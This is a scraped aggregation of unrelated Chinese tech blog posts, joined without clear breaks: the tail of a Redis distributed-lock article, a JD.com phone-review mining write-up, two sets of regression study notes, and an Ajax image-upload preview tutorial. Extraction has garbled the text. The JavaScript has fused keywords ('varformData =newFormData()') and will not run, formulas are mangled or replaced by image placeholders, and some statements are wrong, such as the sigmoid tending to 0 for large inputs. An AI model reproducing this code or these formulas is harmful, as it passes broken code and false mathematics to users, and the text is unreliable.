    // 判断加锁与解锁是不是同一个客户端
    if (requestId.equals(jedis.get(lockKey))) {
        // 若在此时,这把锁突然不是这个客户端的,则会误解锁
        jedis.del(lockKey);
    }
}

如代码注释,问题在于如果调用jedis.del()方法的时候,这把锁已经不属于当前客户端的时候会解除他人加的锁。那么是否真的有这种场景?答案是肯定的,比如客户端A加锁,一段时间之后客户端A解锁,在执行jedis.del()之前,锁突然过期了,此时客户端B尝试加锁成功,然后客户端A再执行del()方法,则将客户端B的锁给解除了。


总结

本文主要介绍了如何使用Java代码正确实现Redis分布式锁,对于加锁和解锁也分别给出了两个比较经典的错误示例。其实想要通过Redis实现分布式锁并不难,只要保证能满足可靠性里的四个条件。互联网虽然给我们带来了方便,只要有问题就可以google,然而网上的答案一定是对的吗?其实不然,所以我们更应该时刻保持着质疑精神,多想多验证。

如果你的项目中Redis是多机部署的,那么可以尝试使用Redisson实现分布式锁,这是Redis官方提供的Java组件,链接在参考阅读章节已经给出。


参考阅读

[1] Distributed locks with Redis

[2] EVAL command

[3] Redisson


一文教你挖掘用户评论典型意见 - JSong - 博客园

$
0
0

 

2017-11-01  宋老师  JSong

原文: JSong公众号

 

 

 

用户体验的工作可以说是用户需求和用户认知的分析。而消费者的声音是其中很重要的一环,它包含了用户对产品的评论,不管是好的坏的,都将对我们产品的改进和迭代有帮助。另外任何事情都要考虑金钱成本和人力成本,因此我希望能通过机器学习的算法来辅助分析,对用户的评论数据进行提炼和洞察。

 

现在爬虫泛滥,网络公开数据的获取并不再是一个难题。简单点可以利用一些互联网的爬虫服务(如神箭手、八爪鱼等),复杂点也可以自己写爬虫。这里我们用爬虫来获取京东的评论数据。相对于亚马逊而言,京东比较坑。第一个坑是京东的反爬虫还不错,通过正常产品网址进去的那个评论列表是几乎爬不出数据来的,所有大部分网络爬虫服务都止步于此。第二个坑是一款产品的评论数只要超过一万条,那么京东就只会显示前一千条,没有公开的数据,那你爬虫技术再厉害也没办法,除非开着爬虫定时增量更新数据。

 

自己写爬虫的好处就是可以避免掉进第一个坑,但是第二个坑没办法。这里我爬取了  小米MIX 和  小米MIX2 的评论数据(最新的几款手机我都爬取了,需要的请戳后台),其中 小米MIX 共1578条,小米MIX2 共3292条。

 

本文通过分析这些数据预期完成如下几个目标

 

  • 1、数据清洗后的好评率

  • 2、好/中/差评的概览

  • 3、典型意见分析

     

首先来看看MIX2的大致情况:

 

一共有3497条评论,其中有些评论内容还是完全相同的。用户大概在购买9天后后评论(可能与到货日期有关),平均打分为4.87分,评论里面有些完全相同的,小米MIX2只有一种颜色等等。

 

接下来我们先做第一件事情

京东采用的是5分制,其中4-5分为好评,2-4分为中评,1分为差评。MIX2的好评率为96.63%,与京东官网的一致。

 

粗略的浏览以下评论,我们发现有这么几种无效评论。

 

第一种全是标点符号或者就一两个字:

这种情况可以利用正则表达式来去除,第二种比较麻烦,如:

这种评论中它纯属凑字数和灌水,不含任何产品的特征。一种想法是看看评论中涉及的名词是否是手机领域中的词语,但是实际情况会非常复杂,比如

 

“用的很不错”、“太差了”...

 

它并没有主语,并不知道它评价的是啥。这里我们反过来,假设每一类无效评论都有类似的关键词,一个评论中的词语只要有一些垃圾评论关键词,我们就把它判定为无效评论。当然并也不需要给定所有的无效评论词,利用tfidf可以通过一个词语顺藤摸瓜找到其他类似的词语。(还可以利用文本相似性算法寻找)

 

另外还有一种情况,虽然不属于无效评论,但是影响好评占比。

这种情况在追评中出现的较多,还有就是京东默认的好评。虽然内容是差评,但是标记的分值是5分。理论上也可以通过算法找出大部分。在NLP领域中,有一个课题叫做情感分析(sentiment analysis), 它可以判断一句话的情感方向是正面的还是负面的(以概率大小给出,数值在0-1之间)。如果一段评论的情感方向与对应的评分差异过大,则我们有理由相信它的评分是有误的。当然这里有一个条件,那就是这个情感分析算法是非常准确的。

 

有大神专门用电商评论训练了一个开源的情感分析包snownlp, 我们来看看这个包效果怎样。

嗯嗯,准确率为92.63%,看上去很高,但。。。因为我把所有评论都判定为好评,那正确率也有96.54%。再看上图中的ROC曲线,嗯,惨不忍睹。曲线跟x轴之间的面积(记作AUC)越大,说明模型的判别能力越好。一般情况曲线会在对角线之上(对角线相当于随机预测的结果),可以此时AUC=0.157,比随机结果差多啦。

更好的情感分析估计需要利用大量手机领域的语料重新训练才行,本文就暂不讨论这个啦。

 

 

语义理解是一个非常难的课题,本文不追求绝对精准,仅希望能对产品的评论有一个快速的理解。本文将从三个方面来阐述同类型评论语料的语义:

 

  • 1、 词云。它会统计一段文本中各个词语出现的次数(频数),频数越大,在词云中对应的字体也越大。通过观察词云,可以知道一段文本主要在讲哪些东西

  • 2、 TextRank。 TextRank 算法是一种用于文本的基于图的排序算法,可以给出一段文本的关键词。其基本思想来源于谷歌的PageRank算法, 通过把文本分割成若干组成单元(单词、句子)并建立图模型, 利用投票机制对文本中的重要成分进行排序, 仅利用单篇文档本身的信息即可实现关键词提取、文摘。和 LDA、HMM 等模型不同, TextRank不需要事先对多篇文档进行学习训练, 因其简洁有效而得到广泛应用。

  • 3、 主题分解。 假设每一段文本都是有主题的,比如新闻里的体育类、时事类、八卦类等。通过对一系列的语料库进行主题分解(本文采用的是LDA),可以了解语料库涉及了哪些主题。(本文用的LDA实际效果不怎么好,暂且仅供娱乐。更好的方法后续或许会更新)

 

分析词云、关键词和主题容易发现

  1、好评集中在:屏幕、惊讶、手感、全面屏、边框,大致就是讲小米手机不错;手感很好;全面屏很惊艳之类的;

 

  2、中评集中在:屏幕、还好、失望、边框等

 

  3、差评集中在:客服、失灵、售后、失望、模式、微信等,大致就是手机失灵;微信电话时的屏幕?因为版本等出现了一些售后客服问题?

 

只能说还凑合,模模糊糊、断断续续能理解一些。因为它只给出了词语,并没有配套的情感。

 

 

 

电商评论不同于一般的网络文本,它主要的特点在于语料都是在针对产品的某些特征作出评价。这一节我们希望能通过算法找到这些特征。

 

细想下,语料主要在对特征做出评价,而特征一般是名词,评价一般是形容词。相对来讲产品的形容词不会很多,如“不错”、“流畅”、“很好”之类的,所以可以通过关联分析来发现初始的特征-形容词对,如("手机"-"不错")、("手机"-"流畅")等。

 

通过关联分析找打的特征-形容词对需要筛选,主要表现在两点。

 

1、里面不只名词-形容词对,两个名词,形容词-动词等都有可能;

 

2、没有考虑两个词语在文本之间的距离。比如名词是第一句话中的,形容词则是最后一句话中的;

 

筛选好后其实还不够,关联分析只会挖掘支持度大于一定数值的特征,我们称这种特征为 " 常见特征"。那不常见特征怎么办?怎么才能挖出来?注意到上面已经挖掘出很多形容词啦,这些就是产品的最常用评价词语啦,我们可以通过它们反向挖掘出 " 不常见特征"。

 

可以看到与手机有关的大部分特征都找出来啦,另外有一些是关于京东的,如"速度"、"京东"、"快递"。还一些不是特征的,比如:"有点","想象"

在语料中搜索与"外观"有关的语句,先看看大家在讲"外观"时,都在聊些啥?

 

看来小米MIX2的外观还是很不错的,有很多人都是冲着外观买的。接下来我们来量化各个特征的好评占比和差评占比。

 

本来这里是想利用snownlp情感分析包来完成的,因为它能给出评价是否是正面的具体概率大小。考虑到情感分析目前的准确率,这里我们还是用原始的评分来量化。以刚刚的关键词 "外观|质感" 为例,我们有

 

利用这种方法,扩大到上述所有的特征可以得到:

 

可以看到提及最多的特征依次为:感觉、屏幕、速度、手感、系统、边框、摄像头、全面屏、拍照、体验、256g、外观、质量、性价比

 

其中 比较好的依次为: 性价比、质量、手感、速度、外观、感觉

 

其中 稍差些的依次为: 256g、屏幕、边框、拍照、摄像头、系统、体验、全面屏

 

最后的最后我们来看下这些特征对应的语料。

 

总结一下差评主要表现在:

No1. 256g版本发货问题

 

No2. 窄边框问题

 

No3. 拍照问题,MIX2的拍照效果有待提升

 

No4. 前置摄像头在下面不方便

 

No5. 系统,MIUI广告多

 

 

这里安利一个自己造的轮子: reportgen ,结合DataFrame 格式可以自动化生成PPTX报告。目前Github关注量已经有20+啦。

在reportgen中,每一页幻灯片被简化成四部分:标题、副标题、主体(数据图、表格、文本框或图片)、脚注。只要给定每一页的这些数据,reportgen就能帮您自动生成pptx,一般四行代码就完成啦。如:

当然本文的pptx要复杂一些,相应的代码和生成的报告如下:

时隔两年,宋老师的公众号又推文啦,希望大家多多关注,多多阅读(想要开通评论功能~~~)。文中提到的两个包近期会公布,欢迎关注我的GitHub:

https://github.com/gasongjian/

另外文中用到的数据后台回复: 小米MIX,即可获得。

在挖地兔看到一张好玩的图,拿来改造了以下。嘿嘿,在世博园那里最常见的场景。

对线性回归,logistic回归和一般回归的认识 - JerryLead - 博客园

$
0
0

     【转载时请注明来源】: http://www.cnblogs.com/jerrylead

     JerryLead

     2011年2月27日

     作为一个机器学习初学者,认识有限,表述也多有错误,望大家多多批评指正。

1 摘要

      本报告是在学习斯坦福大学机器学习课程前四节加上配套的讲义后的总结与认识。前四节主要讲述了回归问题,回归属于有监督学习中的一种方法。该方法的核心思想是从连续型统计数据中得到数学模型,然后将该数学模型用于预测或者分类。该方法处理的数据可以是多维的。

     讲义最初介绍了一个基本问题,然后引出了线性回归的解决方法,然后针对误差问题做了概率解释。之后介绍了logistic回归。最后上升到理论层次,提出了一般回归。

2 问题引入

     这个例子来自 http://www.cnblogs.com/LeftNotEasy/archive/2010/12/05/mathmatic_in_machine_learning_1_regression_and_gradient_descent.html

     假设有一个房屋销售的数据如下:

面积(m^2)

销售价钱(万元)

123

250

150

320

87

160

102

220

     这个表类似于北京5环左右的房屋价钱,我们可以做出一个图,x轴是房屋的面积。y轴是房屋的售价,如下:

     clip_image001

     如果来了一个新的面积,假设在销售价钱的记录中没有的,我们怎么办呢?

     我们可以用一条曲线去尽量准的拟合这些数据,然后如果有新的输入过来,我们可以在将曲线上这个点对应的值返回。如果用一条直线去拟合,可能是下面的样子:

     clip_image002

     绿色的点就是我们想要预测的点。

     首先给出一些概念和常用的符号。

     房屋销售记录表:训练集(training set)或者训练数据(training data), 是我们流程中的输入数据,一般称为x

     房屋销售价钱:输出数据,一般称为y

     拟合的函数(或者称为假设或者模型):一般写做 y = h(x)

     训练数据的条目数(#training set),:一条训练数据是由一对输入数据和输出数据组成的输入数据的维度n (特征的个数,#features)

     这个例子的特征是两维的,结果是一维的。然而回归方法能够解决特征多维,结果是一维多离散值或一维连续值的问题。

3 学习过程

     下面是一个典型的机器学习的过程,首先给出一个输入数据,我们的算法会通过一系列的过程得到一个估计的函数,这个函数有能力对没有见过的新数据给出一个新的估计,也被称为构建一个模型。就如同上面的线性回归函数。

     clip_image003

4 线性回归

     线性回归假设特征和结果满足线性关系。其实线性关系的表达能力非常强大,每个特征对结果的影响强弱可以由前面的参数体现,而且每个特征变量可以首先映射到一个函数,然后再参与线性计算。这样就可以表达特征与结果之间的非线性关系。

     我们用X1,X2..Xn 去描述feature里面的分量,比如x1=房间的面积,x2=房间的朝向,等等,我们可以做出一个估计函数:

     clip_image004

     θ在这儿称为参数,在这的意思是调整feature中每个分量的影响力,就是到底是房屋的面积更重要还是房屋的地段更重要。为了如果我们令X0 = 1,就可以用向量的方式来表示了:

     clip_image005

     我们程序也需要一个机制去评估我们θ是否比较好,所以说需要对我们做出的h函数进行评估,一般这个函数称为损失函数(loss function)或者错误函数(error function),描述h函数不好的程度,在下面,我们称这个函数为J函数

     在这儿我们可以认为错误函数如下:

     clip_image006

     这个错误估计函数是去对x(i)的估计值与真实值y(i)差的平方和作为错误估计函数,前面乘上的1/2是为了在求导的时候,这个系数就不见了。

     至于为何选择平方和作为错误估计函数,讲义后面从概率分布的角度讲解了该公式的来源。

     如何调整θ以使得J(θ)取得最小值有很多方法,其中有最小二乘法(min square),是一种完全是数学描述的方法,和梯度下降法。

5 梯度下降法

     在选定线性回归模型后,只需要确定参数θ,就可以将模型用来预测。然而θ需要在J(θ)最小的情况下才能确定。因此问题归结为求极小值问题,使用梯度下降法。梯度下降法最大的问题是求得有可能是全局极小值,这与初始点的选取有关。

     梯度下降法是按下面的流程进行的:

     1)首先对θ赋值,这个值可以是随机的,也可以让θ是一个全零的向量。

     2)改变θ的值,使得J(θ)按梯度下降的方向进行减少。

     梯度方向由J(θ)对θ的偏导数确定,由于求的是极小值,因此梯度方向是偏导数的反方向。结果为

     clip_image007     

     迭代更新的方式有两种,一种是批梯度下降,也就是对全部的训练数据求得误差后再对θ进行更新,另外一种是增量梯度下降,每扫描一步都要对θ进行更新。前一种方法能够不断收敛,后一种方法结果可能不断在收敛处徘徊。

     一般来说,梯度下降法收敛速度还是比较慢的。

     另一种直接计算结果的方法是最小二乘法。

6 最小二乘法

     将训练特征表示为X矩阵,结果表示成y向量,仍然是线性回归模型,误差函数不变。那么θ可以直接由下面公式得出

clip_image008

     但此方法要求X是列满秩的,而且求矩阵的逆比较慢。

7 选用误差函数为平方和的概率解释

     假设根据特征的预测结果与实际结果有误差 clip_image010,那么预测结果 clip_image012和真实结果 clip_image014满足下式:

clip_image015

     一般来讲,误差满足平均值为0的高斯分布,也就是正态分布。那么x和y的条件概率也就是

clip_image016

     这样就估计了一条样本的结果概率,然而我们期待的是模型能够在全部样本上预测最准,也就是概率积最大。注意这里的概率积是概率密度函数积,连续函数的概率密度函数与离散值的概率函数不同。这个概率积成为最大似然估计。我们希望在最大似然估计得到最大值时确定θ。那么需要对最大似然估计公式求导,求导结果既是

     clip_image017     

     这就解释了为何误差函数要使用平方和。

     当然推导过程中也做了一些假定,但这个假定符合客观规律。

8 带权重的线性回归

     上面提到的线性回归的误差函数里系统都是1,没有权重。带权重的线性回归加入了权重信息。

     基本假设是

     clip_image018     

     其中假设 clip_image020符合公式

     clip_image021          

     其中x是要预测的特征,这样假设的道理是离x越近的样本权重越大,越远的影响越小。这个公式与高斯分布类似,但不一样,因为 clip_image023不是随机变量。

     此方法成为非参数学习算法,因为误差函数随着预测值的不同而不同,这样θ无法事先确定,预测一次需要临时计算,感觉类似KNN。

9 分类和logistic回归

     一般来说,回归不用在分类问题上,因为回归是连续型模型,而且受噪声影响比较大。如果非要应用进入,可以使用logistic回归。

     logistic回归本质上是线性回归,只是在特征到结果的映射中加入了一层函数映射,即先把特征线性求和,然后使用函数g(z)将最为假设函数来预测。g(z)可以将连续值映射到0和1上。

     logistic回归的假设函数如下,线性回归假设函数只是 clip_image025

clip_image026

     logistic回归用来分类0/1问题,也就是预测结果属于0或者1的二值分类问题。这里假设了二值满足伯努利分布,也就是

clip_image027

     当然假设它满足泊松分布、指数分布等等也可以,只是比较复杂,后面会提到线性回归的一般形式。

     与第7节一样,仍然求的是最大似然估计,然后求导,得到迭代公式结果为

     clip_image028

     可以看到与线性回归类似,只是 clip_image012[1]换成了 clip_image030,而 clip_image030[1]实际上就是 clip_image012[2]经过g(z)映射过来的。

10 牛顿法来解最大似然估计

     第7和第9节使用的解最大似然估计的方法都是求导迭代的方法,这里介绍了牛顿下降法,使结果能够快速的收敛。

     当要求解 clip_image032时,如果f可导,那么可以通过迭代公式

clip_image033

     来迭代求解最小值。

     当应用于求解最大似然估计的最大值时,变成求解最大似然估计概率导数 clip_image035的问题。

     那么迭代公式写作

     clip_image036

     当θ是向量时,牛顿法可以使用下面式子表示

     clip_image037 

     其中 clip_image038是n×n的Hessian矩阵。

     牛顿法收敛速度虽然很快,但求Hessian矩阵的逆的时候比较耗费时间。

     当初始点X0靠近极小值X时,牛顿法的收敛速度是最快的。但是当X0远离极小值时,牛顿法可能不收敛,甚至连下降都保证不了。原因是迭代点Xk+1不一定是目标函数f在牛顿方向上的极小点。

11 一般线性模型

     之所以在logistic回归时使用

     clip_image039

     的公式是由一套理论作支持的。

     这个理论便是一般线性模型。

     首先,如果一个概率分布可以表示成

     clip_image040

     时,那么这个概率分布可以称作是指数分布。

     伯努利分布,高斯分布,泊松分布,贝塔分布,狄特里特分布都属于指数分布。

     在logistic回归时采用的是伯努利分布,伯努利分布的概率可以表示成

     clip_image041

     其中

     clip_image042

     得到

     clip_image044

     这就解释了logistic回归时为了要用这个函数。

     一般线性模型的要点是

     1) clip_image046满足一个以 clip_image048为参数的指数分布,那么可以求得 clip_image048[1]的表达式。

     2) 给定x,我们的目标是要确定 clip_image050,大多数情况下 clip_image052,那么我们实际上要确定的是 clip_image054,而 clip_image056。(在logistic回归中期望值是 clip_image058,因此h是 clip_image058[1];在线性回归中期望值是 clip_image060,而高斯分布中 clip_image062,因此线性回归中h= clip_image064)。

     3) clip_image066

12 Softmax回归

     最后举了一个利用一般线性模型的例子。

     假设预测值y有k种可能,即y∈{1,2,…,k}

     比如k=3时,可以看作是要将一封未知邮件分为垃圾邮件、个人邮件还是工作邮件这三类。

     定义

     clip_image067

     那么

     clip_image068

     这样

     clip_image069

     即式子左边可以有其他的概率表示,因此可以当作是k-1维的问题。

     为了表示多项式分布表述成指数分布,我们引入T(y),它是一组k-1维的向量,这里的T(y)不是y,T(y)i表示T(y)的第i个分量。

     clip_image071

     应用于一般线性模型,结果y必然是k中的一种。1{y=k}表示当y=k的时候,1{y=k}=1。那么p(y)可以表示为

     clip_image072

     其实很好理解,就是当y是一个值m(m从1到k)的时候,p(y)= clip_image074,然后形式化了一下。

     那么

     clip_image075

     最后求得

     clip_image076

     而y=i时

     clip_image077

     求得期望值

clip_image078

     那么就建立了假设函数,最后就获得了最大似然估计

clip_image079

     对该公式可以使用梯度下降或者牛顿法迭代求解。

     解决了多值模型建立与预测问题。

 

 

学习总结

     该讲义组织结构清晰,思路独特,讲原因,也讲推导。可贵的是讲出了问题的基本解决思路和扩展思路,更重要的是讲出了为什么要使用相关方法以及问题根源。在看似具体的解题思路中能引出更为抽象的一般解题思路,理论化水平很高。

     该方法可以用在对数据多维分析和多值预测上,更适用于数据背后蕴含某种概率模型的情景。

几个问题

     一是采用迭代法的时候,步长怎么确定比较好

     而是最小二乘法的矩阵形式是否一般都可用

线性回归与逻辑回归 - CSDN博客

$
0
0
七月在线4月机器学习算法班课程笔记——No.5

前言 

  回归算法是一种通过最小化预测值与实际结果值之间的差距,而得到输入特征之间的最佳组合方式的一类算法。对于连续值预测有线性回归等,而对于离散值/类别预测,我们也可以把逻辑回归等也视作回归算法的一种。
  线性回归与逻辑回归是机器学习中比较基础又很常用的内容。线性回归主要用来解决连续值预测的问题,逻辑回归用来解决分类的问题,输出的属于某个类别的概率,工业界经常会用逻辑回归来做排序。在SVM、GBDT、AdaBoost算法中都有涉及逻辑回归,回归中的损失函数、梯度下降、过拟合等知识点也经常是面试考察的基础问题。因此很重要的两个内容,需要仔细体会~

1. 线性回归

1.1 线性回归问题

  线性回归,是利用数理统计中回归分析,来确定两种或两种以上变量间相互依赖的定量关系的一种统计分析方法,运用十分广泛。其表达形式为y = w’x+e,e为误差服从均值为0的正态分布。中学就有接触线性回归,那么线性回归应用在什么地方呢?它适用于有监督学习的预测。
  一元线性回归分析:y=ax+b,只包括一个自变量和一个因变量,且二者的关系可用一条直线近似表示。
  多元线性回归分析:hθ(x)=θ0+θ1x1+...+θnxn,包括两个或两个以上的自变量,并且因变量和自变量是线性关系。
  

1.2 损失函数

  损失函数:是指一种将一个事件(在一个样本空间中的一个元素)映射到一个表达与其事件相关的经济成本或机会成本的实数上的一种函数。更通俗地说,损失函数用来衡量参数选择的准确性。损失函数定义为:

J(θ0,θ1,...,θn)=12m∑i=1m(hθ(x(i))−y(i))2

这个公式计算的是线性回归分析的值与实际值的距离的平均值。显然,损失函数得到的值越小,损失也就越小。

1.3 梯度下降

  怎样最小化损失函数?损失函数的定义是一个凸函数,就可以使用凸优化的一些方法:
1) 梯度下降:逐步最小化损失函数的过程。如同下山的过程,找准下山方向(梯度),每次迈进一步,直至山底。如果有多个特征,对应多个参数θ,需要对每一个参数做一次迭代θj:=θj−α∂∂θjJ(θ0,θ1),做完以后再求J函数。
  学习率:上段公式中的α就是学习率。它决定了下降的节奏快慢,就像一个人下山时候步伐的快慢。α过小会导致收敛很慢,α太大有可能会导致震荡。如何选择学习率呢,目前也有好多关于学习率自适应算法的研究。工程上,一般会调用一些开源包,包含有一些自适应方法。自己做的话会选择相对较小的α,比如0.01。下图展示了梯度下降的过程。
  
2) 牛顿法:速度快适用于小数据,大数据比较耗内存。

1.4 过拟合与正则化

  回归与欠/过拟合:
1) 欠拟合:函数假设太简单导致无法覆盖足够的原始数据,可能造成数据预测的不准确。
2) 拟合问题:比如我们有很多的特征,假设的函数曲线对原始数据拟合的非常好,从而丧失一般性,导致对新给的待预测样本,预测效果差。下图就是一个例子,一个复杂的曲线,把所有点都拟合进去了,但是泛化能力变差了,没有得到一个规律性的函数,不能有效的预测新样本。
   这里写图片描述

  过拟合解决方法:
1) 减少特征个数:手工选择保留特征、模型选择的算法选择特征。
2) 正则化:在原来的损失函数中加入θ的平方项,来防止波动太大。

J(θ0,θ1,...,θn)=12m[∑i=1m(hθ(x(i))−y(i))2+λ∑j=1nθ2j]

即L2正则化。留下所有的特征,但是减少参数的大小。

2. 逻辑(斯特)回归

2.1 应用分析

  与线性回归不同,逻辑回归主要用于解决分类问题,那么线性回归能不能做同样的事情呢?下面举一个例子。比如恶性肿瘤和良性肿瘤的判定。假设我们通过拟合数据得到线性回归方程和一个阈值,用阈值判定是良性还是恶性:
   这里写图片描述
  如图,size小于某值就是良性,否则恶性。但是“噪声”对线性方程的影响特别大,会大大降低分类准确性。例如再加三个样本就可以使方程变成这样:
   这里写图片描述
  那么,逻辑斯特回归是怎么做的呢?如果不能找到一个绝对的数值判定肿瘤的性质,就用概率的方法,预测出一个概率,比如>0.5判定为恶性的。

2.2 Sigmoid函数

  逻辑回归首先把样本映射到[0,1]之间的数值,这就归功于sigmoid函数,可以把任何连续的值映射到[0,1]之间,数越大越趋向于0,越小越趋近于1。Sigmoid函数公式如下:
  

g(z)=11+e−z

  函数的图像如下图,x=0的时候y对应中心点。
   这里写图片描述

  判定边界:对多元线性回归方程求Sigmoid函数hθ(x)=g(θ0+θ1x1+...+θnxn),找到一组θ,假设得到−3+x1+x2=0的直线,把样本分成两类。把(1,1)代入g函数,概率值<0.5,就判定为负样本。这条直线就是判定边界,如下图:
   这里写图片描述
  除了线性判定边界,还有较复杂的非线性判定边界。

2.3 逻辑回归的损失函数

  线性回归的损失函数对逻辑回归不可用,因为逻辑回归的值是0或者1,求距离平均值会是一条不断弯曲的曲线,不是理想的凸函数。聪明的数学家找到了一个适合逻辑回归的损失定义方法:
  

Cost(hθ(x),y)={−log(hθ(x)),−log(1−hθ(x)),if y=1if y=0

  其中hθ(x)是一个概率值,y=1表示正样本,y=0表示负样本。当y是正样本时,如果给定的概率特别小(预测为负样本),损失就会很大;给定的概率很大(预测为正样本),损失就会接近0。损失值的函数如图:
   这里写图片描述
  带L2正则项的损失函数:
  
J(θ)=[−1m∑i=1my(i)log(hθ(x(i))+(1−y(i))log1−hθ(x(i))]+λm∑j=1nθ2j

 这个函数依然可以用梯度下降求解。

2.4 多分类问题

  刚才讲述的都是二分类的问题,那如果是多分类的问题,又该怎么做呢?其实可以套用二分类的方法,根据特征,一层层细化类别。比如下图中有三种形状:
   这里写图片描述
  可以先用一个分类器区分“正方形”和“非正方形”,再用一个分类器对非正方形区分,得到“三角形”和“非三角形”,然后再用一个分类器区分叉。

3. 工程应用经验

  逻辑斯特回归(LR)是个比较基础的算法,在它只会有很多算法SVM/GBDT/RandomForest。复杂的算法比较难以把握,工业界更偏向于用简单的算法。

3.1 LR优点与应用

  LR的优点:
1) LR是以概率的形式输出结果,不只是0和1的判定;
2) LR的可解释强,可控性高;
3) 训练快,feature engineering之后效果赞;
4) 因为结果是概率,可以做ranking model;
5) 添加feature简单。
  LR的应用场景很多哈:
1) CTR预估、推荐系统的learning to rank;
2) 一些电商搜索排序基线;
3) 一些电商的购物搭配推荐;
4) 新闻app排序基线。

3.2 关于样本处理

  样本太大怎么处理?
1) 对特征离散化,离散化后用one-hot编码处理成0,1值,再用LR处理会较快收敛;
2) 如果一定要用连续值的话,可以做scaling;
3) 工具的话有 spark Mllib,它损失了一小部分的准确度达到速度的提升;
4) 如果没有并行化平台,想做大数据就试试采样。需要注意采样数据,最好不要随机取,可以按照日期/用户/行为,来分层抽样。
  怎么使样本平衡?
1) 如果样本不均衡,样本充足的情况下可以做下采样——抽样,样本不足的情况下做上采样——对样本少的做重复;
2) 修改损失函数,给不同权重。比如负样本少,就可以给负样本大一点的权重;
3) 采样后的predict结果,用作判定请还原。

3.3 关于特征处理

1) 离散化优点:映射到高维空间,用linear的LR(快,且兼具更好的分割性);稀疏化,0,1向量内积乘法运算速度快,计算结果方 便存储,容易扩展;离散化后,给线性模型带来一定的非线性;模型稳定,收敛度高,鲁棒性好;在一定程度上降低了过拟合风险
2) 通过组合特征引入个性化因素:比如uuid+tag
3) 注意特征的频度: 区分特征重要度,可以用重要特征产出层次判定模型

3.4 算法调优

假设只看模型的话:
1) 选择合适的正则化:L2准确度高,训练时间长;L1可以做一定的特征选择,适合大量数据
2) 收敛阈值e,控制迭代轮数
3) 样本不均匀时调整loss function,给不同权重
4) Bagging或其他方式的模型融合
5) 选择最优化算法:liblinear、sag、newton-cg等

More

  1. 七月算法机器学习视频
  2. 逻辑回归初步

Ajax上传图片以及上传之前先预览 - 江南一点雨的专栏 - CSDN博客

$
0
0

手头上有几个小项目用到了easyUI,一开始决定使用easyUI就注定了项目整体上前后端分离,基本上所有的请求都采用Ajax来完成。在文件上传的时候用到了Ajax上传文件,以及图片在上传之前的预览效果,解决了这两个小问题,和小伙伴们分享下。


上传之前的预览

方式一

先来说说图片上传之前的预览问题。这里主要采用了HTML5中的FileReader对象来实现,关于FileReader对象,如果小伙伴们不了解,可以查看这篇博客HTML5学习之FileReader接口。我们来看看实现方式:

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>Ajax上传文件</title><scriptsrc="jquery-3.2.1.js"></script></head><body>用户名:<inputid="username"type="text"><br>用户图像:<inputid="userface"type="file"onchange="preview(this)"><br><divid="preview"></div><inputtype="button"id="btnClick"value="上传"><script>$("#btnClick").click(function(){varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});});functionpreview(file){varprevDiv = document.getElementById('preview');if(file.files && file.files[0]){varreader =newFileReader();
            reader.onload =function(evt){prevDiv.innerHTML ='<img src="'+ evt.target.result +'" />';}
            reader.readAsDataURL(file.files[0]);}else{
            prevDiv.innerHTML ='<div class="img" style="filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale,src=\''+ file.value +'\'"></div>';}}</script></body></html>

这里对于支持FileReader的浏览器直接使用FileReader来实现,不支持FileReader的浏览器则采用微软的滤镜来实现(注意给图片上传的input标签设置onchange函数)。

实现效果如下:

这里写图片描述

方式二

除了这种方式之外我们也可以采用网上现成的一个jQuery实现的方式。这里主要参考了这里

不过由于原文年代久远,里边使用的$.browser.msie从jQuery1.9就被移除掉了,所以如果我们想使用这个得做一点额外的处理,我修改后的uploadPreview.js文件内容如下:

jQuery.browser={};(function(){jQuery.browser.msie=false; jQuery.browser.version=0;if(navigator.userAgent.match(/MSIE ([0-9]+)./)){ jQuery.browser.msie=true;jQuery.browser.version=RegExp.$1;}})();
jQuery.fn.extend({
    uploadPreview:function(opts){var_self =this,
            _this = $(this);
        opts = jQuery.extend({Img:"ImgPr",Width:100,Height:100,ImgType:["gif","jpeg","jpg","bmp","png"],Callback:function(){}}, opts ||{});
        _self.getObjectURL =function(file){varurl =null;if(window.createObjectURL !=undefined){
                url = window.createObjectURL(file)}elseif(window.URL !=undefined){
                url = window.URL.createObjectURL(file)}elseif(window.webkitURL !=undefined){
                url = window.webkitURL.createObjectURL(file)}returnurl};
        _this.change(function(){if(this.value){if(!RegExp("\.("+ opts.ImgType.join("|")+")$","i").test(this.value.toLowerCase())){
                    alert("选择文件错误,图片类型必须是"+ opts.ImgType.join(",")+"中的一种");this.value ="";returnfalse}if($.browser.msie){try{
                        $("#"+ opts.Img).attr('src', _self.getObjectURL(this.files[0]))}catch(e){varsrc ="";varobj = $("#"+ opts.Img);vardiv = obj.parent("div")[0];
                        _self.select();if(top !=self){
                            window.parent.document.body.focus()}else{
                            _self.blur()}
                        src = document.selection.createRange().text;
                        document.selection.empty();
                        obj.hide();
                        obj.parent("div").css({'filter':'progid:DXImageTransform.Microsoft.AlphaImageLoader(sizingMethod=scale)','width': opts.Width+'px','height': opts.Height+'px'});
                        div.filters.item("DXImageTransform.Microsoft.AlphaImageLoader").src = src}}else{
                    $("#"+ opts.Img).attr('src', _self.getObjectURL(this.files[0]))}
                opts.Callback()}})}});

然后在我们的html文件中引入这个js文件即可:

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>Ajax上传文件</title><scriptsrc="jquery-3.2.1.js"></script><scriptsrc="uploadPreview.js"></script></head><body>用户名:<inputid="username"type="text"><br>用户图像:<inputid="userface"type="file"onchange="preview(this)"><br><div><imgid="ImgPr"width="200"height="200"/></div><inputtype="button"id="btnClick"value="上传"><script>$("#btnClick").click(function(){varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
            success:function(msg){alert(msg);}});});
    $("#userface").uploadPreview({Img:"ImgPr",Width:120,Height:120});</script></body></html>

这里有如下几点需要注意:

1.HTML页面中要引入我们自定义的uploadPreview.js文件

2.预先定义好要显示预览图片的img标签,该标签要有id。

3.查找到img标签然后调用uploadPreview函数

执行效果如下:

这里写图片描述

Ajax上传图片文件

Ajax上传图片文件就简单了,没有那么多方案,核心代码如下:

varformData =newFormData();
        formData.append("username", $("#username").val());
        formData.append("file", $("#userface")[0].files[0]);
        $.ajax({
            url:'/fileupload',
            type:'post',
            data: formData,
            processData:false,
            contentType:false,
